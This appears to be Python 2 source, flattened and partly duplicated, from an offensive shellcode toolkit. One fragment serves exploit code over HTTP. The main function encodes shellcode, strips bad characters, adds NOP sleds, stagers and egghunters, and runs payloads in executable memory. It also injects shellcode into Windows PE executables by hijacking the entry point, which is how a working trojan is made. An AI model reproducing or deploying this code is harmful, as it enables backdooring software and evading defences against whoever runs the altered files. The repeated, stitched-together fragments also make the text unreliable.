def main(): res = arguments() try: exploit_code = importlib.import_module('exploits.' + res.EXPLOIT_NAME).code @route('{}'.format(res.URL)) def exploit(): return exploit_code logs.good('Started serving {} on {}:{}{} ...'.format( logs.bold(logs.purple(res.EXPLOIT_NAME)), res.HOSTNAME, res.PORT, res.URL)) print '\n' run(host=res.HOSTNAME, port=res.PORT, debug=res.DEBUG) except TypeError: pass except ImportError: logs.err('No such exploit')
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def main(): res = arguments() scode = split_to_chunks(res.SHELLCODE.replace('x', ''),2) bits = '32' summary = [] prim_length = len(scode) if res.ARCH == 'x64': bits = '64' try: scode = ''.join([binascii.unhexlify(op) for op in scode]) except TypeError: raise WrongShellcodeFormat if res.REDUCE: opcodes = ''.join([binascii.hexlify(op) for op in scode]) instrs = raw_disasm(opcodes, bits, res.PLATFORM).splitlines() new_instrs = [] index = 0 for i in instrs: if re.search('mov (.*), 0', i): reg = re.search('mov (.*), 0', i).group(1) new_instrs.append('xor {}, {}'.format(reg, reg)) elif re.search('add (.*), 1', i): reg = re.search('add (.*), 1', i).group(1) new_instrs.append('inc {}'.format(reg)) elif re.search('add (.*), 2', i): reg = re.search('add (.*), 2', i).group(1) new_instrs.append('inc {}, inc {}'.format(reg, reg)) elif re.search('mov (.*), (.*)', i): dst = re.search('mov (.*), (.*)', i).group(1) src = re.search('mov (.*), (.*)', i).group(2) if src not in res.PRESERVE: new_instrs.append('xchg {}, {}'.format(dst,src)) else: new_instrs.append(i) index += 1 scode = binascii.unhexlify(''.join([raw_asm(i, bits, res.PLATFORM) for i in new_instrs])) if res.APPEND: ops = '' instrs = ' '.join(res.APPEND).split('/') for i in instrs: ops += binascii.unhexlify(raw_asm(i, bits, res.PLATFORM)) scode = scode + ops if res.PREPEND: ops = '' instrs = ' '.join(res.PREPEND).split('/') for i in instrs: ops += binascii.unhexlify(raw_asm(i, bits, res.PLATFORM)) scode = ops + scode if res.FORK: if res.PLATFORM == 'linux': forks = {'x86':'\x31\xc0\x40\x40\xcd\x80', 'x64':'\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\xcd\x80'} scode = remove_badchars(forks[res.ARCH],res.BADCHARS) + scode summary.append(logs.good('Added fork syscall',prnt=False)) else: summary.append(logs.err('Unable to add fork syscall: supported only for Linux',prnt=False)) if res.EXIT: if res.PLATFORM == 'linux': exits = {'x86':'\x31\xc0\x40\x31\xdb\xcd\x80', 'x64':'\x48\x31\xc0\x48\xff\xc0\x48\x31\xdb\xcd\x80'} scode = scode + remove_badchars(exits[res.ARCH], res.BADCHARS) summary.append(logs.good('Added exit syscall', prnt=False)) else: summary.append(logs.err('Unable to add exit syscall: supported only for Linux',prnt=False)) if res.ENCODER: counter = 0 try: encoder = importlib.import_module('encoders.'+res.ENCODER).Encoder() except ImportError: raise WrongEncoderName if res.ARCH not in encoder.arch: raise NonCompatibleEncoder while counter < res.ITERATIONS: stub = encoder.encode(scode)[0] encoded = encoder.encode(scode)[1] scode = stub + encoded counter += 1 encoded_len = len(scode) + len(stub) summary.append(logs.good('Encoded payload with {} encoder {} times'.format(encoder.name,res.ITERATIONS),prnt=False)) #scode = scode.split() #print ''.join([binascii.hexlify(op) for op in scode]) if res.BADCHARS: scode = remove_badchars(scode, res.BADCHARS) summary.append(logs.good('Removed badchars',prnt=False)) if res.BINARY: def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: summary.append(logs.err('Not enough size for shellcode injection',prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append(logs.good('Succesfully injected shellcode',prnt=False)) if res.PLATFORM == 'windows': try: inject() except PEFormatError: summary.append(logs.err('Unable to inject shellcode: executable is not Windows PE format',prnt=False)) else: summary.append(logs.err('Unable to inject shellcode: supported only for Windows',prnt=False)) if res.NOPS: nop_generator = eval('nops.{}'.format(res.ARCH)) scode = nop_generator(res.NOPS, res.NON_CANONICAL) + scode summary.append(logs.good('Prepended shellcode with NOP instructions', prnt=False)) if res.PADD: nop_generator = eval('nops.{}'.format(res.ARCH)) nop = nop_generator(1, False) while len(scode) < res.PADD: scode += nop summary.append(logs.good('Padded shellcode with NOP instructions',prnt=False)) if res.STAGER: stager_port = int_to_hex(res.STAGER_PORT, res.ENDIAN) stager = eval('stager_{}_{}'.format(res.PLATFORM, res.ARCH)).replace('PORT', stager_port) stager = remove_badchars(stager, res.BADCHARS) stager = '\\x' + '\\x'.join([binascii.hexlify(op) for op in stager]) stager = '\n'.join(textwrap.wrap(stager, 32)) if not res.PURE: print '\n{} ({} bytes):'.format(logs.purple(logs.bold('STAGER')), len(stager)/4) print stager if res.RUN: libc = CDLL('libc.so.6') sc = c_char_p(scode) size = len(scode) addr = c_void_p(libc.valloc(size)) memmove(addr, sc, size) libc.mprotect(addr, size, 0x7) run = cast(addr, CFUNCTYPE(c_void_p)) run() if res.NOP_INSERT: nop_generator = eval('nops.{}'.format(res.ARCH)) nop = nop_generator(1, False) block_size = res.NOP_INSERT if len(scode)%block_size != 0: scode += nop scode = split_to_chunks(scode, block_size) scode = nop.join(scode) summary.append(logs.good('Inserted NOPs between every {} bytes of shellcode'.format(res.NOP_INSERT),prnt=False)) if res.EGGHUNTER: clear_tag = res.TAG badchars = split_to_chunks(res.BADCHARS.replace('x', '').replace('//', ''),2) badchars = [binascii.unhexlify(op) for op in badchars] for badchar in badchars: while badchar in clear_tag: clear_tag = ''.join(random.choice(ascii_lowercase) for i in range(4)) try: egg, modified_payload = eggs[res.EGGHUNTER][0](tag=clear_tag, payload=scode) except: raise WrongEgghunterName egg = remove_badchars(egg, res.BADCHARS) scode = modified_payload summary.append(logs.good('Added tag to shellcode',prnt=False)) if res.APPEND_EGG: scode = egg + scode summary.append(logs.good('Appended egghunter to payload',prnt=False)) else: raw_egg = [] egg_escaped = [] for op in egg: raw_egg.append(binascii.hexlify(op)) for op in raw_egg: egg_escaped.append('\\x'+op) egg = ''.join(egg_escaped) egg = '\n'.join(textwrap.wrap(egg, 32)) if not res.PURE: print '\n{} ({} bytes):'.format(logs.purple(logs.bold('EGGHUNTER')), len(egg)/4) print egg if res.INFO: if not res.PURE: print '\n{}:'.format(logs.bold(logs.purple('INFO'))) print '| Length: {}'.format(len(scode)) nullbytes = scode.count('\x00') if nullbytes == 0: nullbytes = logs.green(nullbytes) else: nullbytes = logs.red(nullbytes) print '| Null bytes: {}'.format(nullbytes) print '| Nops: {}'.format(logs.purple(scode.count('\x90'))) print '| Returns: {}'.format(scode.count('\xc3')) print '| Interrupts: {}'.format(logs.yellow(scode.count('\xcc'))) print '| System calls: {}'.format(logs.bold(scode.count('\xcd\x80'))) if res.PATTERN: def generate_pattern(length): digits='0123456789' pattern = '' for upper in ascii_uppercase: for lower in ascii_lowercase: for digit in digits: if len(pattern) < length: pattern += upper+lower+digit else: pattern = pattern[:length] return pattern scode = generate_pattern(res.PATTERN) + scode summary.append(logs.good('Prepended shellcode with cyclic pattern',prnt=False)) if not res.PURE: print '\n{}:'.format(logs.purple(logs.bold('SUMMARY'))) for s in summary: print s if res.FORMAT: scode_len = len(scode) try: formatted = eval('wrappers.format_{}'.format(res.FORMAT))(scode) except AttributeError: raise WrongFormatName if res.OUTPUT: out_file = open(res.OUTPUT, 'w') out_file.write(formatted) out_file.close() summary.append(logs.good('Saved shellcode as {}'.format(res.OUTPUT), prnt=False)) else: if not res.PURE: print '\n{} ({} bytes of shellcode):'.format(logs.purple(logs.bold('FINAL PAYLOAD')), scode_len) print formatted
formatted = eval('wrappers.format_{}'.format(res.FORMAT))(scode) except AttributeError: raise WrongFormatName if res.OUTPUT: out_file = open(res.OUTPUT, 'w') out_file.write(formatted) out_file.close() summary.append(logs.good('Saved shellcode as {}'.format(res.OUTPUT), prnt=False)) else: if not res.PURE: print '\n{} ({} bytes of shellcode):'.format(logs.purple(logs.bold('FINAL PAYLOAD')), scode_len) print formatted if __name__ == '__main__': res = arguments() if not res.LIST: try: main() except WrongShellcodeFormat: logs.err('Wrong shellcode format on input') except WrongFormatName: logs.err('Wrong output format name') except WrongEgghunterName: logs.err('Wrong egghunter name') except WrongEncoderName: logs.err('Wrong encoder name') except NonCompatibleEncoder: logs.err('Encoder not compatible with current architecture')